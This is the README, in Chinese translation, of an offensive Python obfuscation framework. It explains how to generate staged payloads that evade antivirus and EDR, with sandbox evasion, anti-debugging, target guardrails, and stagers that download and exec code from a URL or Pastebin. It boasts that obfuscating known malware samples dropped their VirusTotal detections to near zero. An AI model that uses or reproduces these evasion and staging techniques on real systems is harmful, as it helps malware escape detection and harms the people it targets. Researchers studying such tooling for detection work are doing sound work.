deoktr/Python-Obfuscation-Framework
GitHub: deoktr/Python-Obfuscation-Framework
一款功能全面的Python代码混淆框架,集多种混淆技术、沙箱规避和分阶段载荷功能于一体,用于绕过杀毒软件和EDR的静态检测。
Stars: 23 | Forks: 3
# Python 混淆框架 - pof
[](https://pypi.org/project/python-obfuscation-framework)
在 [pof.run](https://pof.run) 进行测试。
Python Obfuscation Framework (pof),一个完整的 Python 进攻安全工具包,用于生成分阶段的混淆 Payload。
pof 将允许你:
- **通过分层混淆和 novel 技术减慢静态分析速度**。
- **通过检查主机信息(如 MAC 地址、CPU 数量、内存数量、运行时间等)来规避沙箱**。
- **添加防护措施**,通过验证用户名、主机名、域名等,确保 Payload 仅在预期的目标主机上执行。
- **通过 malloc 检测调试或跟踪来防止动态分析**。
- **创建分阶段 Payload**,将阶段存储在图像中、受信任的站点上,进行加密、压缩或编码等。
- **支持自动化**,以生成同一 Payload 的众多变体。
POF 的主要优势在于可定制性,你可以随心所欲地生成 Payload,选择你想要的混淆方式并将它们组合起来。
大多数混淆技术在组合使用时效果很好。例如,将一个 int 从 `42` 混淆为 `int("42")` 允许字符串混淆器对其进行混淆,将其变为 `int("".join([chr(ord(i)-3)for i in'75']))`。现在我们有多个 int 和 string,可以再次对它们进行混淆。
混淆示例:
```
print("Hello, world")
```
输出:
```
from base64 import b64decode as expected_data
from base64 import b85decode as _5269
globals()["".join([chr(ord(i)-3)for i in'bbvqlwolxebb'[::-1]])].__dict__[_5269('').decode().join([chr(ord(i)-3)for i in"".join([chr(ord(i)-3)for i in'mruhgry'])])]()[_5269(''[::-1]).decode().join([globals()[''[::-1].join([chr(ord(i)-3)for i in expected_data('YmJleGxvd2xxdmJi').decode()])].__dict__["".join([chr(ord(i)-3)for i in"".join([chr(ord(i)-3)for i in'inx'])])](__builtins__.__dict__.__getitem__("".join([chr(ord(i)-3)for i in'']).join([chr(ord(i)-3)for i in expected_data('cnVn').decode()]))(i)-(__name__.__len__().__class__(__builtins__.__dict__.__getitem__(_5269('X>N1').decode())("".join([chr(ord(i)-3)for i in'3\u007b5']),0)+__builtins__.__getattribute__('egapraeytamrofel'[::-1].replace('egapraeytamrof'[::-1],expected_data('bg==').decode()))(expected_data("".join([chr(ord(i)-3)for i in']j@@'])).decode()))))for i in"".join([chr(ord(i)-3)for i in'eeh{olsy7bdgguvtyee']).replace(_5269('X>fKlUtwfqa&r').decode(),_5269('Z+C0').decode())])].__dict__[''[::-1].join([chr(ord(i)-3)for i in''[::-1]]).join([globals()[expected_data('XordinalidWlsdGlucordinalf'.replace('ordinal','19')).decode()].__dict__[expected_data('yh2Y'[::-1]).decode()](globals()[_5269(expected_data('VXRlTiVYPjQ/OVpnWEU+').decode()).decode()].__dict__[_5269('fold_countV'.replace('fold_count','Z*p')).decode()](i)-__builtins__.__getattribute__(expected_data("".join([chr(ord(i)-3)for i in'dZ83'])).decode())('quaencode_7or8bits'.replace('encode_7or8bit','ntile').replace("".join([chr(ord(i)-3)for i in'txdqwlohv']),"".join([chr(ord(i)-3)for i in'6']))))for i in expected_data('').decode().join([chr(ord(i)-3)for i in'ztoxv'[::-1]])])](expected_data(_5269('Q%6>FVKQQ0ad38HZFp+').decode().replace('pq_b2a'[::-1],'\u0062\u00478\u0073\u0049\u0048\u0064')).decode())
```
更多示例和用法可以在 `examples/` 或下面的章节中找到。
## 有效性
测试是使用 pof 的默认配置完成的,没有结合沙箱规避
技术进行混淆。另外请注意,我还没有测试
恶意软件是否仍然有效,它们应该有效,但可能会因
混淆而损坏。
混淆一个 [Lazarus 恶意软件](https://bazaar.abuse.ch/sample/c3cb53c4a290bc9ab6c9eb825ed0ca38bb54bcc4a59f33be72becdff80cb091b/),
我们在 virus total 上从
[18/63](https://www.virustotal.com/gui/file/c3cb53c4a290bc9ab6c9eb825ed0ca38bb54bcc4a59f33be72becdff80cb091b)
变为
[0/63](https://www.virustotal.com/gui/file/2f427bc784e2a865d8f000c21f366cb8459842f97c56465cbe963f221b3e115a):

混淆
[RedTigerStealer](https://bazaar.abuse.ch/sample/9b4c37e3e994ad0222740e4c51dae48cc415957f8ad066da25e977e5031fa374/)
我们在 virus total 上从
[26/63](https://www.virustotal.com/gui/file/9b4c37e3e994ad0222740e4c51dae48cc415957f8ad066da25e977e5031fa374)
变为
[1/62](https://www.virustotal.com/gui/file/5616cb69576b11fa4a024023bcf0f66e66b84f426067e597075dfcbba945d5e3)
:

混淆 [BTC-Clipper](https://github.com/NightfallGT/BTC-Clipper),我们在 virus total 上
从
[13/64](https://www.virustotal.com/gui/file/9817d8de9bf7d2740b5b66e30ec1afdd98d7d119074a61cbba05514d4ebdc149)
变为
[0/63](https://www.virustotal.com/gui/file/71631daa26fe6c2cf77d282a16f8b3fd31e4794b63709b956599563b95e64816)
:

混淆一个
[Braodo 恶意软件](https://bazaar.abuse.ch/sample/b86e4bff935db9345cc1467e615ff4fbe292fae618ae927595d328cfd9e8a08f/),
我们在 virus total 上从
[10/61](https://www.virustotal.com/gui/file/b86e4bff935db9345cc1467e615ff4fbe292fae618ae927595d328cfd9e8a08f)
变为
[0/63](https://www.virustotal.com/gui/file/8791188aaf7655093307e46fa68e3705ee7249cb81e05ea416ae96ad2fd2f0f2)
:

混淆 [Python-File-Stealer](https://github.com/KrizzhSriskantharajah-UK/Python-File-Stealer),
我们在 virus total 上从
[4/63](https://www.virustotal.com/gui/file/2fc798f1df42adae3af2f7d2623edc74f6b8f08a7ae16ef3b67305c4ad668c82)
变为
[0/63](https://www.virustotal.com/gui/file/8d529e6ee2806986ca376a427d683fdf6980d6332134e4759d790d604d6b5dcb)
:

## 安装
你可以通过 pip install 安装 POF,在容器内安装,或者在线试用 [pof.run](https://pof.run):
```
echo 'print("Hello, world!")' | curl -X POST -d @- https://pof.run
```
### PIP
来自 [pypi](https://pypi.org/project/python-obfuscation-framework):
```
pip install python-obfuscation-framework
```
### Docker
```
docker run --rm ghcr.io/deoktr/python-obfuscation-framework:latest --help
```
在 Docker 内从本地文件 `in.py` 运行:
```
docker run --rm -v $(pwd):/tmp -w /tmp ghcr.io/deoktr/python-obfuscation-framework:latest in.py -o out.py
```
或者通过管道输入和输出:
```
cat in.py | docker run --rm -i ghcr.io/deoktr/python-obfuscation-framework:latest > out.py
```
## 用法
```
# 将输入和输出通过管道传输到 stdout
echo "print('Hello, world')" | pof
# 输出到文件
pof in.py -o out.py
# 重定向到文件
pof in.py > out.py
# 通过管道传输到 python 以运行它
pof in.py | python
# 混淆器
pof in.py -o out.py -f obfuscator -k BuiltinsObfuscator
# Stager
pof in.py -o out.py -f stager -k PasteRsStager
# 规避
pof in.py -o out.py -f evasion -k CPUCountEvasion
# 使用自定义参数规避
pof in.py -o out.py -f evasion -k CPUCountEvasion min_cpu_count=4
# 从 CLI 组合所有内容
pof in.py -f obfuscator -k BuiltinsObfuscator |\
pof -f evasion -k CPUCountEvasion min_cpu_count=4 |\
pof -f stager -k PasteRsStager > out.py
```
你也可以直接使用 Python API,你可以在下面找到示例或查看 API 用法。
## 示例
这些是脚本 `print('Hello, world')` 的混淆器示例。
要选择一个混淆器,请使用标志 `-f obfuscator` 和 `-k ObfuscatorClassName`。
要复现这些示例,你可以使用以下命令:
```
echo "print('Hello, world')" | pof -f obfuscator -k UUIDObfuscator
```
要测试输出的有效性,你可以简单地将其通过管道传递给 Python:
```
echo "print('Hello, world')" | pof -f obfuscator -k UUIDObfuscator | python
```
### 混淆器
`VariablesObfuscator` 是最基础的混淆器,它会重命名变量。
源码在 `examples/source.py`。
```
import os
def get_linux_release_info():
"""Get Linux release info from /etc/os-release."""
uggNx = '/etc/os-release'
if not os.path.exists(uggNx):
print('OS release file not found. This might not be a Linux system.')
return None
LY3mN = {}
try:
with open(uggNx, 'r') as kj0:
for Stv9o in kj0:
if not Stv9o or '=' not in Stv9o:
continue
l0j, QE5kCKYwMe = Stv9o.strip().split('=', 1)
QE5kCKYwMe = QE5kCKYwMe.strip('"\'\n')
LY3mN[l0j] = QE5kCKYwMe
print('\nLinux Release Information:')
print(f"Distribution: {LY3mN.get('NAME', 'Unknown')}")
print(f"Version: {LY3mN.get('VERSION', 'Unknown')}")
print(f"Version ID: {LY3mN.get('VERSION_ID', 'Unknown')}")
print(f"Pretty Name: {LY3mN.get('PRETTY_NAME', 'Unknown')}")
return LY3mN
except Exception as e:
print(f'Error reading release file: {e}')
return None
if __name__ == '__main__':
if os.name == 'posix' and os.path.exists('/etc/os-release'):
E_R72 = get_linux_release_info()
else:
print('This script is designed for Linux systems.')
```
`DefinitionsObfuscator` 混淆函数名称。
其他非常基础的功能由特定的混淆器完成,例如:
- 使用 `CommentsObfuscator` 删除注释。
- 使用 `ExceptionObfuscator` 替换异常消息。
- 使用 `IndentsObfuscator` 将缩进减少到单个空格。
- 使用 `LoggingObfuscator` 替换日志消息,或使用 `LoggingRemoveObfuscator` 删除它们。
- 使用 `NewlineObfuscator` 删除空行。
- 使用 `PrintObfuscator` 删除打印语句。
#### StringsObfuscator
```
# Reverse
print('dlrow ,olleH'[::-1])
# Replace
print('Helnelemd'.replace('nelem','lo, worl'))
# One on n
print("".join([d if g%3==0 else""for g,d in enumerate('H9IesYlvJl5loU4,dK nDw51ovsrozl0UdoI!jL')]))
# 十六进制编码
print('\x48\x65\x6c\x6c\x6f\x2c\x20\x77\x6f\x72\x6c\x64')
# Unicode
print('\u0048\u0065\u006c\u006c\u006f\u002c\u0020\u0077\u006f\u0072\u006c\u0064')
# Shift cipher
print("".join([chr(ord(i)-3)for i in'Khoor/#zruog']))
# Base 64 encoding
from base64 import b64decode
print(b64decode( b'SGVsbG8sIHdvcmxk').decode())
# Base 85
from base64 import b85decode
print(b85decode( b'NM&qnZ!92pZ*pv8').decode())
```
#### NumberObfuscator
源码:`print(42)`
```
# String
print(int('42'))
# Addition
print((int(35+7)))
# Hex
print(int('0x2a',0))
# Len
print(len('bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb'))
# Boolean
print((True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True))
```
#### ConstantsObfuscator
将每个变量以随机名称移动到文件顶部。
```
N842V="\"'\n"
gvBXIX='NAME'
Lzxdy='VERSION'
NklI="__main__"
IoTpEBJ='VERSION_ID'
eQqDDpOL=1
IpEPxvQ="This script is designed for Linux systems."
ka6U_Q='PRETTY_NAME'
hCf5UQQT="="
GMUC6z="/etc/os-release"
eOa=Exception
CCCs=None
EUr2fN=open
wGDb="r"
hm8="OS release file not found. This might not be a Linux system."
QElu="posix"
fNdZY9=__name__
LvMs="\nLinux Release Information:"
uFCf7Vy='Unknown'
joyHA=print
import os
def get_linux_release_info():
"""Get Linux release info from /etc/os-release."""
release_file=GMUC6z
if not os.path.exists(release_file):
joyHA(hm8)
return CCCs
release_info={}
try:
with EUr2fN(release_file,wGDb)as f:
for line in f:
if not line or hCf5UQQT not in line:
continue
key,value=line.strip().split(hCf5UQQT,eQqDDpOL)
value=value.strip(N842V)
release_info[key]=value
joyHA(LvMs)
joyHA(f"Distribution: {release_info.get(gvBXIX,uFCf7Vy)}")
joyHA(f"Version: {release_info.get(Lzxdy,uFCf7Vy)}")
joyHA(f"Version ID: {release_info.get(IoTpEBJ,uFCf7Vy)}")
joyHA(f"Pretty Name: {release_info.get(ka6U_Q,uFCf7Vy)}")
return release_info
except eOa as e:
joyHA(f"Error reading release file: {e}")
return CCCs
if fNdZY9==NklI:
if os.name==QElu and os.path.exists(GMUC6z):
release_details=get_linux_release_info()
else:
joyHA(IpEPxvQ)
```
#### BuiltinsObfuscator
使用以下方法之一混淆内置函数。
```
__builtins__.__getattribute__('print')('Hello, world')
__builtins__.__dict__['print']('Hello, world')
globals()['__builtins__'].__dict__['print']('Hello, world')
__builtins__.__dict__.__getitem__('print')('Hello, world')
```
#### ExtractVariablesObfuscator
在同一上下文级别中提取变量,这意味着如果在函数内部,将在其开头添加该变量。
```
var='Hello, world'
print(var)
```
#### CallObfuscator
```
print.__call__('Hello, world')
```
#### GlobalsObfuscator
将全局函数的调用替换为 `globals()['func_name']()`。
源码在 `examples/source.py`。
```
import os
def get_linux_release_info():
release_file="/etc/os-release"
if not os.path.exists(release_file):
print("OS release file not found. This might not be a Linux system.")
return None
release_info={}
try:
with open(release_file,"r")as f:
for line in f:
if not line or"="not in line:
continue
key,value=line.strip().split("=",1)
value=value.strip("\"'\n")
release_info[key]=value
print("\nLinux Release Information:")
print(f"Distribution: {release_info.get('NAME','Unknown')}")
print(f"Version: {release_info.get('VERSION','Unknown')}")
print(f"Version ID: {release_info.get('VERSION_ID','Unknown')}")
print(f"Pretty Name: {release_info.get('PRETTY_NAME','Unknown')}")
return release_info
except Exception as e:
print(f"Error reading release file: {e}")
return None
if __name__=="__main__":
if os.name=="posix"and os.path.exists("/etc/os-release"):
release_details=globals()['get_linux_release_info']()
else:
print("This script is designed for Linux systems.")
```
#### ShiftObfuscator
```
exec("".join([chr(ord(i)-3)for i in'sulqw+*Khoor/#zruog*,\r']))
```
#### DocstringObfuscator
```
from base64 import b64decode
class Foo:
"""
cHJpbnQoJ0hlbGxvLCB3b3JsZCcpCg==
"""
pass
exec(b64decode(Foo.__doc__.replace('\n','').replace(' ','')))
```
#### SpacenTabObfuscator
```
def sntdecode(encoded):
msg_bin=encoded.replace(" ","0").replace("\t","1")
n=int(msg_bin,2)
return n.to_bytes((n.bit_length()+7)//8,"big")
exec(sntdecode('\t\t\t \t\t\t \t \t\t \t \t \t\t \t\t\t \t\t\t \t \t \t \t \t\t\t \t \t \t\t \t \t \t\t \t\t \t\t \t\t \t\t \t\t\t\t \t \t\t \t \t\t\t \t\t\t \t\t \t\t\t\t \t\t\t \t \t\t \t\t \t\t \t \t \t\t\t \t \t \t \t \t '))
```
#### WhitespaceObfuscator
使用空白字符和零宽空白 `\u200B`。
```
def wsdecode(encoded):
msg_bin=encoded.replace(" ","0").replace('\u200b',"1")
n=int(msg_bin,2)
return n.to_bytes((n.bit_length()+7)//8,"big")
exec(wsdecode(" "))
```
#### RC4Obfuscator
警告:RC4 混淆器(和其他密码混淆器)将密文和密钥合并在同一个文件中,这显然是不安全的,绝不应出于安全目的使用。这个混淆器背后的想法是欺骗人类、AV、EDR、网络 TAP 等,而不是为了安全和可靠。
```
import codecs
def rc4decrypt(key,ciphertext):
def KSA(key):
key_length=len(key)
S=list(range(256))
j=0
for i in range(256):
j=(j+S[i]+key[i%key_length])%256
S[i],S[j]=S[j],S[i]
return S
def PRGA(S):
i=0
j=0
while True:
i=(i+1)%256
j=(j+S[i])%256
S[i],S[j]=S[j],S[i]
K=S[(S[i]+S[j])%256]
yield K
def get_keystream(key):
S=KSA(key)
return PRGA(S)
def encrypt_logic(key,text):
key=[ord(c)for c in key]
keystream=get_keystream(key)
res=[]
for c in text:
val="%02X"%(c^next(keystream))
res.append(val)
return"".join(res)
ciphertext=codecs.decode(ciphertext,"hex_codec")
res=encrypt_logic(key,ciphertext)
return codecs.decode(res,"hex_codec").decode("utf-8")
exec(rc4decrypt('7zSRE6YHmdwpx2zT1Q2xPoPwzztXRZNQSKeX2LFIKBhl7uJMAs9jj0Hlec6y3wjuNgqgdD1XjnqZSzkWhRldoWwn625Bw56r105zQg5KRE5ugmVOUy2adMWKH2hod0CfxW72XLGFDTt38OH5nDYcr2bXrokKDKCaie56agxxHmSwv4nwTNQlxjyrixBgeyjaDV8CLvdmS4ANRXXVs5HxhxlFiBBUoHadf1wLq0wDi5c0e93fmqqNCRHAMAoTkGJJPCfXc9kTHmW38NJcjnVgvAgrBIcJX66E8pLwUniQB0yvoHapq2RCxaV8PrhU0jFy9RWTrwDfoE3G7whrE8uobVUgFLiJsiH6eV63RvH03gUEi1EHo0YGrRo12yShLG0P8pfSawTjTkJlQOFQ2PsubnQm8fhZ6en7nHI2L2xpC88yNScapMnsRaYUHZFWdecVfOaq9QaMf76RzYpQ7F5LWKgcEG3WGiXReCU1hr5pAoomAcXMZftcYuJu5AuOsXSR','647F6846CBEF6C270D853D3F76650D51DE1CAD760C17'))
```
#### XORObfuscator
```
from base64 import b64decode
def decrypt(cipher,key):
bcipher=bytearray(b64decode(cipher))
text=bytearray()
ki=0
for i in bcipher:
text.append(i^key[ki%len(key)])
ki+=1
return text
exec(decrypt( b'RkNfWkAcHnxTXVpbGBROW0RdUhMdPg==', b'61644494').decode())
```
#### 压缩
```
# Bz2Obfuscator
import bz2,marshal
exec(marshal.loads(bz2.decompress( b'BZh91AY&SY\xcf\xf8\xcd\xdc\x00\x00\ru\x80\xc0\x10\x01\x00@\xe4\x00@\x06%\xd4\x80\x08\x00 \x00"&\x80d\x196\xa1L&\x9a\x03LI\x99\\eR\x15\xcd\xb9\x04\xd4s\x1d\x08\x00\xf8\xbb\x92)\xc2\x84\x86\x7f\xc6n\xe0')))
# GzipObfuscator
import gzip,marshal
exec(marshal.loads(gzip.decompress( b'\x1f\x8b\x08\x00$p\x91d\x02\xff\xfb,\xc6\xc0\xc0PP\x94\x99W\xa2\xa1\xee\x91\x9a\x93\x93\xaf\xa3P\x9e_\x94\x93\xa2\xae\xc9\x05\x00\xf2\x90\x8eA\x1b\x00\x00\x00')))
# LzmaObfuscator
import lzma,marshal
exec(marshal.loads(lzma.decompress( b"\xfd7zXZ\x00\x00\x04\xe6\xd6\xb4F\x02\x00!\x01\x16\x00\x00\x00t/\xe5\xa3\x01\x00\x1a\xf3\x16\x00\x00\x00print('Hello, world')\n\x00\x00\xd5\xa4\x00\xec\xfa;\x9c\xf1\x00\x013\x1b\xf7\x19\x88^\x1f\xb6\xf3}\x01\x00\x00\x00\x00\x04YZ")))
# ZlibObfuscator
import zlib,marshal
exec(marshal.loads(zlib.decompress( b'x\x9c\xfb,\xc6\xc0\xc0PP\x94\x99W\xa2\xa1\xee\x91\x9a\x93\x93\xaf\xa3P\x9e_\x94\x93\xa2\xae\xc9\x05\x00va\x08H')))
```
#### 编码
```
# ASCII85Obfuscator
from base64 import a85decode
exec(a85decode('E,oZ1F=8M-ASc1$/0K.TEbo86.1-'))
# Base16Obfuscator
from base64 import b16decode
exec(b16decode('7072696E74282748656C6C6F2C20776F726C6427290A'))
# Base32Obfuscator
from base64 import b32decode
exec(b32decode('OBZGS3TUFATUQZLMNRXSYIDXN5ZGYZBHFEFA===='))
# Base32HexObfuscator
from base64 import b32hexdecode
exec(b32hexdecode('E1P6IRJK50JKGPBCDHNIO83NDTP6OP175450===='))
# Base64Obfuscator
from base64 import b64decode
exec(b64decode('cHJpbnQoJ0hlbGxvLCB3b3JsZCcpCg=='))
# Base85Obfuscator
from base64 import b85decode
exec(b85decode('aB^vGbSNiCWo&G3EFgDpa%^NLDGC'))
# BinasciiObfuscator
import binascii,marshal
exec(marshal.loads(binascii.a2b_base64( b'8xYAAABwcmludCgnSGVsbG8sIHdvcmxkJykK\n')))
```
#### 特殊编码
```
# TokensObfuscator
from tokenize import untokenize
exec(untokenize([(1,'print'),(54,'('),(3,"'Hello, world'"),(54,')'),(4,'\n'),(0,''),]))
# IPv6Obfuscator
import binascii
exec(binascii.a2b_hex(''.join(['7072:696e:7428:2748:656c:6c6f:2c20:776f','726c:6427:290a:1000:0000:0000:0000:0000',]).replace(':','').strip('0')[:-1]))
# MACObfuscator
import binascii
exec(binascii.a2b_hex(''.join(['70-72-69-6e-74-28','27-48-65-6c-6c-6f','2c-20-77-6f-72-6c','64-27-29-0a-10-00',]).replace('-','').strip('0')[:-1]))
# UUIDObfuscator
exec(binascii.a2b_hex("".join(['7072696e-7428-2748-656c-6c6f2c20776f','726c6427-290a-1000-0000-000000000000',]).replace("-","").strip('0')[:-1]))
```
#### ImportsObfuscator
源码:`import pathlib`
```
pathlib=__import__('pathlib')
```
#### CharFromDocObfuscator
源码:`print('h')`
```
print(oct.__doc__[8])
```
#### AddCommentsObfuscator
```
# 这是一个随机注释
print("Hello, world!")
```
可用的注释列表在一个文件中,所有注释都提取自 Python 标准库。
#### AddNewlinesObfuscator
在所有可能的地方添加随机空行。
```
print("Hello, world!")
```
### 分阶段器
#### DownloadStager
```
from urllib import request
exec(request.urlopen("https://example.com/payload.py").read())
```
#### ImageStager
修改后的图片不包含在此示例中。
```
import sys
from PIL import Image
def decode(im_in):
msg_bin=""
im=Image.open(im_in)
px=im.load()
for x in range(im.size[0]):
for y in range(im.size[1]):
pixels=px[x,y]
msg_bin+=bin(pixels[0])[-1]
n=8
mmsg_bin="0"+msg_bin
chunks=[mmsg_bin[i:i+n]for i in range(0,len(mmsg_bin),n)]
i=chunks.index("0"*8)
msg_bin=msg_bin[:(8*i)-1]
n=int(msg_bin,2)
msg=n.to_bytes((n.bit_length()+7)//8,"big").decode()
return msg
exec(decode(sys.argv.pop(1)))
```
#### PastebinStager
```
from urllib import request
exec(request.urlopen("https://pastebin.com/raw/...").read())
```
`PasteRsStager` 和 `Cl1pNetStager` 完全相同,只是代码上传到不同的站点。但 `PasteRsStager` 不需要 API 密钥。
#### RC4Stager
RC4 分阶段器需要使用密钥作为其第一个参数进行调用。
```
import sys
import codecs
def rc4decrypt(key,ciphertext):
def KSA(key):
key_length=len(key)
S=list(range(256))
j=0
for i in range(256):
j=(j+S[i]+key[i%key_length])%256
S[i],S[j]=S[j],S[i]
return S
def PRGA(S):
i=0
j=0
while True:
i=(i+1)%256
j=(j+S[i])%256
S[i],S[j]=S[j],S[i]
K=S[(S[i]+S[j])%256]
yield K
def get_keystream(key):
S=KSA(key)
return PRGA(S)
def encrypt_logic(key,text):
key=[ord(c)for c in key]
keystream=get_keystream(key)
res=[]
for c in text:
val="%02X"%(c^next(keystream))
res.append(val)
return"".join(res)
ciphertext=codecs.decode(ciphertext,"hex_codec")
res=encrypt_logic(key,ciphertext)
return codecs.decode(res,"hex_codec").decode("utf-8")
exec(rc4decrypt(sys.argv.pop(1),'A0E9F66914B121B6CD9A7E4532EF281DBB0B8D7FF597A4D5FA2C5EBB47BA2801B33B21819B1F62D5A5D2BDC1E4A4ACD159FB581F860F44D0E4F493C8F55858C83D19EF5DD1BBEB0D143E5C5C9FFF621B187985B6F9FC03E83F80BA3DCD55217949FA04B2F58EC862CC701A0734D1ADB231E5DA54C11E505F520D1B53E50E1F36AA20A163D2BFA43C3E5DDA259A12683C3379D4115C0483C088236FB5DA667EE79D288D99F73A07FCF3F445F933B637B26DD32CC0A0EBE646E7644D2324937910ECB4752E8CEDC09729AF476579944DC13E3629C42634C9483D89617F8941F68506470D53BCC6A94B592101260B96B1BFD83A6C2248E725FF31E4592D21038D677A239E1BA4F9031F7F728DE835BF0C8B28920868A6B880E37C2BBF5E37291210F15F389BF42522D6A9668BA334474D9048AE66997C0AED01178B2EA75DB4D592CBB898773D982A91242AB434F54F00E6B747940D8D0228CB885E8A4977494350FFFA2D2428D0525F8A5A6A22899B0195AD278E804B7BCC47B499DD32329C56B4DB7A6FA81DC935DA9978961604951F0F63757FA754291B32D8E03BE815A38A5EDACB04516AEEAD0F9BA2FB4D8C3E8F5050D810B3B94B1A445973E775114112D279673715858CBA8C4C745C8B9D78CFF81B5C151EACB2E739612C7776BC081B5CA54AF6860E6F04A80F5645B011F4A4'))
```
对于此示例,随机生成的密钥是:
```
TzyaoOa2e4wimAo1AGgeWO5ztZtLzqWo5Wl9OXLWP0r5QmjFO8VvIao6NfqHxMBZCXekiqGDcmFugz10F2wS8UlOtUJB2muLsSxVWoJhq1fKWaZHbiYPd7SSdPhqHMRV1fQkJax5sLssaB43AlHFrx4rJYMvkCjPebHUdjW2l0c8af5cNs60v4dRE3zw2myNZTcrbsbpvogSGYOz21rAXlEZn2y0lbDIpWwI1ZHf8i5vAGxnPPPH9i7OQIMZEunerDbY7cyzHRcZGU1nsVyEmlILGf37NYTxLagRkC6GJP5NCmqboyP5It6bF6AuihUkjLTXTMvrgxfNlMs4g3BkHqZIGjNxFHj6zSB3jhOtOQ9l3zOG36dsMKSye78Xxmn7JjoW5nH76E05QJMBALapu0LaVppSSpSUrpYR2bmwGdbuJNZd7qLL6Yy6vNptSIKcG6Vi6DiFLk7afCw9h9fLdyUC1Ng1sGwt0Jhdf0XnuBedFx6diWYzCrYgWZeM1VnC
```
所以我们可以这样调用它:
```
python3 out.py TzyaoO...
```
#### QuineStager
```
from base64 import b64decode
from tokenize import untokenize
esource='cHJpbnQoJ0hlbGxvLCB3b3JsZCcpCg=='
tokens=[(1,'from'),(1,'base64'),(1,'import'),(1,'b64decode'),(4,'\n'),(1,'from'),(1,'tokenize'),(1,'import'),(1,'untokenize'),(4,'\n'),(1,'esource'),(54,'='),(4,'\n'),(1,'tokens'),(54,'='),(4,'\n'),(1,'def'),(1,'quine'),(54,'('),(54,')'),(54,':'),(4,'\n'),(5,' '),(1,'return'),(1,'untokenize'),(54,'('),(1,'tokens'),(54,'['),(54,':'),(2,'12'),(54,']'),(54,')'),(54,'+'),(1,'repr'),(54,'('),(1,'esource'),(54,')'),(54,'+'),(1,'untokenize'),(54,'('),(1,'tokens'),(54,'['),(2,'12'),(54,':'),(2,'15'),(54,']'),(54,')'),(54,'+'),(1,'repr'),(54,'('),(1,'tokens'),(54,')'),(54,'+'),(1,'untokenize'),(54,'('),(1,'tokens'),(54,'['),(2,'15'),(54,':'),(54,']'),(54,')'),(4,'\n'),(6,''),(1,'exec'),(54,'('),(1,'b64decode'),(7,'('),(1,'esource'),(8,')'),(54,')'),(4,'\n')]
def quine():
return untokenize(tokens[:12])+repr(esource)+untokenize(tokens[12:15])+repr(tokens)+untokenize(tokens[15:])
exec(b64decode(esource))
```
这很可能没用,Quine 是一个输出其源代码的程序,你可以用这个从你的源代码生成一个 Quine。
你的脚本仍将执行,但一个新的函数 `quine` 将可用,如果你调用它,你将可以访问源代码。
用法示例:
```
echo "print(quine())" | pof -f stager -k QuineStager > out.py
python3 out.py > out2.py
python3 out2.py > out3.py
diff out2.py out3.py
```
`out2.py` 和 `out3.py` 文件是相同的,它们都包含源代码,以及脚本 `print(quine())`。
### 格式化
你可以选择使用 black 自动格式化输出代码。
从 CLI 添加 `--format` 标志。
从库调用:
```
from pof.utils.format import black_format
obf = ExampleObfuscator().obfuscate(...)
out = black_format(obf)
print(out)
```
### 生成器
生成器用于生成新名称,它们可用于类、变量、函数、常量或其他任何东西。
`BasicGenerator.alphabet_generator`:
```
kMX94Fcb
mff0ERu3V
lNRxu3hk
b5PK35uR_t
```
`AdvancedGenerator.realistic_generator`:
用于创建看起来逼真的变量。
```
raise_src
expected_message
ContextInputValidation
is_auth
```
`AdvancedGenerator.fixed_length_generator`:
灵感来自:[pyob.oxyry.com](https://pyob.oxyry.com/)。
```
O00OOOO00O0O00OOO
O000OOOOO0O000O0O
O0OOOO0000OO0OO00
O000000OO0O0O0OO0
```
`UnicodeGenerator.katakana_generator`:
```
シ
ビラ
ポワ
ヌバ
```
是的,它们是有效的 Python 变量名。
用法:
```
from pof.utils.generator import UnicodeGenerator
gen = UnicodeGenerator().katakana_generator()
for _ in range(4):
print(next(gen))
```
你也可以组合生成器以随机选择,但具有相关的权重:
```
from pof.utils.generator import *
gen_dict = {
86: AdvancedGenerator.realistic_generator(),
10: BasicGenerator.alphabet_generator(),
4: BasicGenerator.number_name_generator(length=random.randint(2, 5)),
}
gen = AdvancedGenerator.multi_generator(gen_dict)
for _ in range(4):
print(next(gen))
```
### 同形字
[同形字](https://en.wikipedia.org/wiki/Homoglyph) 是具有相同形状且看起来完全相同的字形。有一个生成器可以帮助创建它们。
`Hello, world!` 的同形字示例:
```
H𝐞llo, world!
Hello, ᴡorld!
Hello, worldǃ
Hello, world!
Hеllo, world!
Hello, woгld!
Hello, woꭈld!
Hello, world!
Hello, worldǃ
Hello¸ world!
Hello, world!
```
用法:
```
from pof.utils.se import HomoglyphsGenerator
def get_homoglyphs():
generator = HomoglyphsGenerator()
text = "Hello, world!"
for _ in range(10):
homoglyph = generator.get_single_homoglyph(text)
print(homoglyph)
```
## Python API
pof 的真正威力在于轻松链接多种不同的混淆技术,有一个非常简单的 Python API 可以做到这一点。
例如,这是默认混淆器的一个片段:
```
import random
from pof import BaseObfuscator
from pof.obfuscator import (
BuiltinsObfuscator,
CommentsObfuscator,
ConstantsObfuscator,
ExceptionObfuscator,
GlobalsObfuscator,
LoggingObfuscator,
# NamesObfuscator,
NumberObfuscator,
PrintObfuscator,
StringsObfuscator,
)
from pof.utils.extract_names import NameExtract
from pof.utils.generator import AdvancedGenerator, BaseGenerator, BasicGenerator
class ExampleObfuscator(BaseObfuscator):
def obfuscate(self, source: str):
# tokenize Python source code
tokens = self._get_tokens(source)
# get all the names and add them to the RESERVED_WORDS for the generators
reserved_words_add = NameExtract.get_names(tokens)
BaseGenerator.extend_reserved(reserved_words_add)
# remove comments
tokens = CommentsObfuscator().obfuscate_tokens(tokens)
# replace logging message with reversable random code
tokens = LoggingObfuscator().obfuscate_tokens(tokens)
# remove print statements
tokens = PrintObfuscator().obfuscate_tokens(tokens)
# replace exceptions with reversable random names
tokens = ExceptionObfuscator(
add_codes=True,
generator=BasicGenerator.number_name_generator(),
).obfuscate_tokens(tokens)
# configure global generator
generator = AdvancedGenerator.multi_generator({
86: AdvancedGenerator.realistic_generator(),
10: BasicGenerator.alphabet_generator(),
4: BasicGenerator.number_name_generator(length=random.randint(2, 5)),
})
# extract values and function to make them constant
tokens = ConstantsObfuscator(
generator=generator,
obf_number_rate=0.7,
obf_string_rate=0.1,
obf_builtins_rate=0.3,
).obfuscate_tokens(tokens)
# FIXME: broken for the moment
# tokens = NamesObfuscator(generator=generator).obfuscate_tokens(tokens)
# obfuscate function calls by calling `globals()` instead
tokens = GlobalsObfuscator().obfuscate_tokens(tokens)
# obfuscate builtins in many different ways
